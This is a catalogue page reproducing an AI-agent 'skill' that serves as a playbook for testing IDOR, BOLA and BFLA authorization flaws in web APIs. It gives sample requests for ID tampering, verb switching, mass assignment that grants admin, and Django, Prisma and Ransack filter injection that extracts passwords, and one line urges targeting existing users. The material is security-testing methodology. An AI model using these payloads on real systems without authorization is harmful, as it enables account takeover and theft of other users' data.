Idor Broken Object Authorization

作者 yaklang6fbf0bc8d5c7无许可证2.4K 个星标收录于 2026年10月8日更新于 2026年10月8日仓库3周前更新

IDOR and broken object authorization testing playbook. Use when requests expose object identifiers, tenant boundaries, writable fields, or missing object-level authorization checks.

仅含说明Security

AI 生成的概览

用于测试 IDOR 与对象级授权缺陷的实战手册，涵盖攻击向量、A-B 测试与权限提升。

功能: 该技能提供针对 IDOR、BOLA 和 BFLA 漏洞的结构化测试手册。它列出对象标识符可能出现的位置，说明使用两个账户进行 A-B 测试的方法，并详述 HTTP 方法升级、参数污染、批量赋值、间接引用链和 ORM 过滤器注入等攻击技术。其产出是检查清单和测试分类，而非脚本或自动化工具。
适用场景: 当请求暴露对象标识符、租户边界、可写字段或缺少对象级授权检查时使用。适合安全测试人员和漏洞赏金猎人在规划或执行针对 Web API 的授权测试时参考。
运行要求: 不包含脚本，仅为说明性指令。所述测试假定具备 Burp Suite 等拦截代理、两个测试账户，以及对目标应用的授权访问。

SKILL: IDOR / Broken Object Level Authorization — Expert Attack Playbook

AI LOAD INSTRUCTION: IDOR is the #1 bug bounty finding. This skill covers non-obvious IDOR surfaces, all attack vectors (not just URL params), A-B testing methodology, BOLA vs BFLA distinction, chaining IDOR to higher impact, and what testers repeatedly miss.

1. IDOR vs BOLA vs BFLA

Term	Meaning	Impact
IDOR	Insecure Direct Object Reference	Read/modify other users' data
BOLA	Broken Object Level Authorization (OWASP API Top 10 A1)	Same as IDOR, API terminology
BFLA	Broken Function Level Authorization	Low-priv user accesses HIGH-PRIV functions (e.g., admin endpoints)

Key distinction:

BOLA = accessing object you shouldn't own (data belonging to other users)
BFLA = accessing function you shouldn't be authorized for (admin CRUD operations, bulk actions, user management)

2. WHERE TO FIND OBJECT IDs (ALL LOCATIONS)

Don't stop at URL path parameters — IDs appear in:

URL path:        GET /api/v1/users/1234/profileURL query:       GET /orders?order_id=982Request body:    {"userId": 1234, "action": "view"}JSON fields:     {"resource": {"id": 5678, "type": "invoice"}}Headers:         X-User-ID: 1234                 X-Account-ID: 9999Cookies:         user_id=1234; account=org_5678GraphQL args:    query { user(id: "1234") { ... } }Form fields:     <input name="documentId" value="5678">WebSocket msgs:  {"event":"subscribe","channel_id":9999}

URL path:        GET /api/v1/users/1234/profileURL query:       GET /orders?order_id=982Request body:    {"userId": 1234, "action": "view"}JSON fields:     {"resource": {"id": 5678, "type": "invoice"}}Headers:         X-User-ID: 1234                 X-Account-ID: 9999Cookies:         user_id=1234; account=org_5678GraphQL args:    query { user(id: "1234") { ... } }Form fields:     <input name="documentId" value="5678">WebSocket msgs:  {"event":"subscribe","channel_id":9999}

3. A-B TESTING METHODOLOGY

The most systematic IDOR test approach:

Step 1: Create two test accounts: UserA and UserBStep 2: Perform all actions as UserA, capture all requests        (profile edit, order view, password change, file access, etc.)Step 3: Note every object ID created or accessed by UserAStep 4: Authenticate as UserBStep 5: Replay UserA's requests using UserB's session tokenStep 6: If UserB can read/modify UserA's data → BOLA confirmed
Victim matters: for real bugs, target existing users, not test accounts.Report evidence: show UserA owns the resource, UserB accessed it.

Step 1: Create two test accounts: UserA and UserBStep 2: Perform all actions as UserA, capture all requests        (profile edit, order view, password change, file access, etc.)Step 3: Note every object ID created or accessed by UserAStep 4: Authenticate as UserBStep 5: Replay UserA's requests using UserB's session tokenStep 6: If UserB can read/modify UserA's data → BOLA confirmed
Victim matters: for real bugs, target existing users, not test accounts.Report evidence: show UserA owns the resource, UserB accessed it.

4. ID TYPE ITS IMPLICATIONS

ID Pattern	Example	Notes
Sequential int	`id=1001` → `id=1002`	Easy prediction, high hit rate
UUID v4	`550e8400-...`	Need to find UUID from other endpoints
UUID v1	Clock-based UUID	Time-predictable! Extract timestamp/MAC
GUIDs from own data	See in responses	Collect all UUIDs from your own account data first
Hashed IDs	`md5(user_id)`	Try hashing sequential ints
Encoded IDs	base64(`{"id":1001}`)	Decode → modify → re-encode
Compound IDs	`/api/users/1/orders/5`	Both IDs may be independently verifiable

5. HORIZONTAL vs VERTICAL PRIVILEGE ESCALATION

Horizontal: UserA accesses UserB's data (same privilege level)

Vertical: Low-priv user accesses admin-only functions

POST /api/admin/users/delete        ← normal user calling admin endpointGET /api/admin/all-usersPUT /api/users/1234/role {"role":"admin"}

POST /api/admin/users/delete        ← normal user calling admin endpointGET /api/admin/all-usersPUT /api/users/1234/role {"role":"admin"}

Combined: Low-priv IDOR that grants privilege escalation

6. HTTP METHOD ESCALATION

When GET /resource/1234 is properly restricted, test ALL other verbs:

http

GET    /api/v1/users/UserA_ID    ← might be blockedPOST   /api/v1/users/UserA_ID    ← different code path, might not check authzPUT    /api/v1/users/UserA_ID    ← update another user's dataDELETE /api/v1/users/UserA_ID    ← delete another user's accountPATCH  /api/v1/users/UserA_ID    ← partial update (often missed in authz checks)

GET    /api/v1/users/UserA_ID    ← might be blockedPOST   /api/v1/users/UserA_ID    ← different code path, might not check authzPUT    /api/v1/users/UserA_ID    ← update another user's dataDELETE /api/v1/users/UserA_ID    ← delete another user's accountPATCH  /api/v1/users/UserA_ID    ← partial update (often missed in authz checks)

Why this works: Authorization logic is often implemented per-method, and developers forget edge cases.

7. PARAMETER POLLUTION & TYPE CONFUSION

When id=1234 is validated, try:

id[]=1234&id[]=5678          ← array — app may use first or lastid=5678&id=1234              ← duplicate — app may prefer first or last{"id": "1234"}               ← string vs int: might hit different code path{"id": [1234]}               ← array in JSON{"userId": 1234, "id": 5678} ← two ID fields — which is used for authz?

id[]=1234&id[]=5678          ← array — app may use first or lastid=5678&id=1234              ← duplicate — app may prefer first or last{"id": "1234"}               ← string vs int: might hit different code path{"id": [1234]}               ← array in JSON{"userId": 1234, "id": 5678} ← two ID fields — which is used for authz?

JSON Type Confusion:

Some ORMs handle string vs integer differently in queries.

8. BFLA (FUNCTION LEVEL) ATTACKS

Common BFLA Endpoints to Test

http

# User management (admin-only in design):GET /api/v1/admin/usersDELETE /api/v1/users/{any_user_id}PUT /api/v1/users/{user_id}/role
# Bulk operations:POST /api/v1/users/bulk-deleteGET /api/v1/export/all-data
# Billing/payment admin:POST /api/v1/admin/subscription/modifyGET /api/v1/admin/payments/all
# Internal reporting:GET /api/v1/reports/all-users-activity

# User management (admin-only in design):GET /api/v1/admin/usersDELETE /api/v1/users/{any_user_id}PUT /api/v1/users/{user_id}/role
# Bulk operations:POST /api/v1/users/bulk-deleteGET /api/v1/export/all-data
# Billing/payment admin:POST /api/v1/admin/subscription/modifyGET /api/v1/admin/payments/all
# Internal reporting:GET /api/v1/reports/all-users-activity

How to Find Hidden Admin Endpoints

Read JS bundles — admin routes often exposed in frontend code
Look at API docs (Swagger/OpenAPI) for "admin", "internal", "privileged" tags
Enumerate /api/v1/admin/**, /api/v1/manage/**, /api/v1/internal/**
Burp "Discover Content" on API base path
Compare regular user docs vs admin section docs if available

9. INDIRECT IDOR (REFERENCE CHAIN)

App checks permission on object A but doesn't check ownership of referenced object B:

Example:

UserA has permission to read their own messages.GET /api/messages/1234 → checks: "does user own message 1234?" ✓
But: messages have attachments.GET /api/attachments/5678 → doesn't check: "does attachment belong to message owned by user?"

UserA has permission to read their own messages.GET /api/messages/1234 → checks: "does user own message 1234?" ✓
But: messages have attachments.GET /api/attachments/5678 → doesn't check: "does attachment belong to message owned by user?"

Test: access attachments/sub-resources directly via their IDs without going through parent endpoint.

GraphQL variant: Inline querying related objects without separate authorization:

graphql

query {  myProfile {    followers {      privateEmail    ← accessing private field of OTHER users via relationship    }  }}

query {  myProfile {    followers {      privateEmail    ← accessing private field of OTHER users via relationship    }  }}

10. MASS ASSIGNMENT → PRIVILEGE ESCALATION

When POST/PUT takes a JSON body, properties in the underlying model may be settable even if not in the official API docs:

json

POST /api/v1/register{  "username": "attacker",  "email": "[email protected]",  "password": "password",  "role": "admin",          ← hidden field  "isAdmin": true,          ← hidden field  "verified": true,         ← skip email verification  "creditBalance": 9999     ← give self credits}

POST /api/v1/register{  "username": "attacker",  "email": "[email protected]",  "password": "password",  "role": "admin",          ← hidden field  "isAdmin": true,          ← hidden field  "verified": true,         ← skip email verification  "creditBalance": 9999     ← give self credits}

How to find hidden fields:

Intercept admin "create user" vs normal "register" — diff the fields
Read API documentation for all possible fields
Check source code if available (GitHub, JS bundles)
Fuzz with Burp: add common property names and check for 200 vs 400

11. STATE MACHINE ABUSE (BUSINESS LOGIC IDOR)

When resources have a status/state:

Test: Can you skip states?

PUT /api/orders/1234 {"status": "delivered"}  ← from "pending"PUT /api/orders/1234 {"status": "refunded"}   ← from "pending" (skip shipped)

PUT /api/orders/1234 {"status": "delivered"}  ← from "pending"PUT /api/orders/1234 {"status": "refunded"}   ← from "pending" (skip shipped)

Can you set another user's order status?

12. QUICK IDOR CHECKLIST

□ Create 2 accounts (UserA + UserB)□ Map all API calls that contain object IDs (Burp History export filter)□ Test all HTTP verbs on each endpoint□ Test ID in all locations: path, body, header, query, cookie□ Try sequential IDs (−1, +1 from your own)□ Try UUIDs/GUIDs collected from your own account data□ Test sub-resources (attachments, comments, transactions)□ Test admin endpoints directly (BFLA)□ Test POST/PUT body for extra fields (mass assignment)□ Compare JSON response field count vs documented fields (hidden fields)□ Test state/status field modification

□ Create 2 accounts (UserA + UserB)□ Map all API calls that contain object IDs (Burp History export filter)□ Test all HTTP verbs on each endpoint□ Test ID in all locations: path, body, header, query, cookie□ Try sequential IDs (−1, +1 from your own)□ Try UUIDs/GUIDs collected from your own account data□ Test sub-resources (attachments, comments, transactions)□ Test admin endpoints directly (BFLA)□ Test POST/PUT body for extra fields (mass assignment)□ Compare JSON response field count vs documented fields (hidden fields)□ Test state/status field modification

13. SYSTEMATIC IDOR TESTING — 8 CATEGORIES

#	Category	Test Method
1	Direct ID reference	Change numeric/UUID ID in URL: `/api/users/123` → `/api/users/124`
2	Predictable UUID	If UUIDs are v1 (time-based), adjacent IDs are calculable
3	Batch/bulk operations	`/api/users/bulk?ids=123,456` — add other users' IDs
4	Export/download	Export endpoint leaks other users' data: `/export?user_id=*`
5	Linked object IDOR	Change `order.address_id` to another user's address
6	Resource replacement	Update own profile with another user's resource ID → overwrites
7	Write IDOR	PUT/PATCH/DELETE with other user's ID — modify/delete their data
8	Nested object	`/api/orgs/1/users/2` — change org ID to access other org's users

Testing Flow

1. Create two test accounts (A and B)2. Perform all CRUD operations as A, capture all request IDs3. Replay each request replacing A's IDs with B's IDs4. Check: Can A read B's data? Modify? Delete?5. Test with: numeric IDs, UUIDs, slugs, encoded values6. Test across: URL path, query params, JSON body, headers

1. Create two test accounts (A and B)2. Perform all CRUD operations as A, capture all request IDs3. Replay each request replacing A's IDs with B's IDs4. Check: Can A read B's data? Modify? Delete?5. Test with: numeric IDs, UUIDs, slugs, encoded values6. Test across: URL path, query params, JSON body, headers

14. ORM FILTER CHAIN LEAKS

Django ORM Filter Injection

python

# Vulnerable: User.objects.filter(**request.data)# Attacker sends: {"password__startswith": "a"}# Django translates to: WHERE password LIKE 'a%'
# Character-by-character extraction:POST /api/users/{"username": "admin", "password__startswith": "a"}   → 200 (match){"username": "admin", "password__startswith": "b"}   → 404 (no match)# Iterate through charset for each position
# Relational traversal:{"author__user__password__startswith": "a"}# Traverses: Author → User → password field
# On MySQL: ReDoS via regex{"email__regex": "^(a+)+$"}  → CPU spike if match exists

# Vulnerable: User.objects.filter(**request.data)# Attacker sends: {"password__startswith": "a"}# Django translates to: WHERE password LIKE 'a%'
# Character-by-character extraction:POST /api/users/{"username": "admin", "password__startswith": "a"}   → 200 (match){"username": "admin", "password__startswith": "b"}   → 404 (no match)# Iterate through charset for each position
# Relational traversal:{"author__user__password__startswith": "a"}# Traverses: Author → User → password field
# On MySQL: ReDoS via regex{"email__regex": "^(a+)+$"}  → CPU spike if match exists

Prisma Filter Injection

json

// Vulnerable: prisma.user.findMany({ where: req.body })// Attacker sends nested include/select:{  "include": {    "posts": {      "include": {        "author": {          "select": {"password": true}        }      }    }  }}// Leaks password field through relation traversal

// Vulnerable: prisma.user.findMany({ where: req.body })// Attacker sends nested include/select:{  "include": {    "posts": {      "include": {        "author": {          "select": {"password": true}        }      }    }  }}// Leaks password field through relation traversal

Ransack (Ruby on Rails)

# Ransack allows search predicates via query params:GET /users?q[password_cont]=admin# Searches: WHERE password LIKE '%admin%'
# Character extraction:GET /users?q[password_start]=a   → count resultsGET /users?q[password_start]=ab  → narrow down# Tool: plormber (automated Ransack extraction)

# Ransack allows search predicates via query params:GET /users?q[password_cont]=admin# Searches: WHERE password LIKE '%admin%'
# Character extraction:GET /users?q[password_start]=a   → count resultsGET /users?q[password_start]=ab  → narrow down# Tool: plormber (automated Ransack extraction)

来源与署名

来源：yaklang/hack-skills位于skills/idor-broken-object-authorization提交6fbf0bc

许可证：无许可证

内容归原作者所有。SourceWeft 从公开仓库中收录这些内容。

举报或申请下架

Idor Broken Object Authorization

SKILL: IDOR / Broken Object Level Authorization — Expert Attack Playbook

1. IDOR vs BOLA vs BFLA

2. WHERE TO FIND OBJECT IDs (ALL LOCATIONS)

3. A-B TESTING METHODOLOGY

4. ID TYPE ITS IMPLICATIONS

5. HORIZONTAL vs VERTICAL PRIVILEGE ESCALATION

6. HTTP METHOD ESCALATION

7. PARAMETER POLLUTION & TYPE CONFUSION

8. BFLA (FUNCTION LEVEL) ATTACKS

Common BFLA Endpoints to Test

How to Find Hidden Admin Endpoints

9. INDIRECT IDOR (REFERENCE CHAIN)

10. MASS ASSIGNMENT → PRIVILEGE ESCALATION

11. STATE MACHINE ABUSE (BUSINESS LOGIC IDOR)

12. QUICK IDOR CHECKLIST

13. SYSTEMATIC IDOR TESTING — 8 CATEGORIES

Testing Flow

14. ORM FILTER CHAIN LEAKS

Django ORM Filter Injection

Prisma Filter Injection

Ransack (Ruby on Rails)

来源与署名

更多来自 yaklang/hack-skills 的技能

Web Cache Deception

Type Juggling

Open Redirect

Nosql Injection

Csv Formula Injection

Clickjacking

更多Security技能

Kyc Rules

Compliance Tracking

Dpop Adoption

Secops Triage

Secops Investigate

Secops Hunt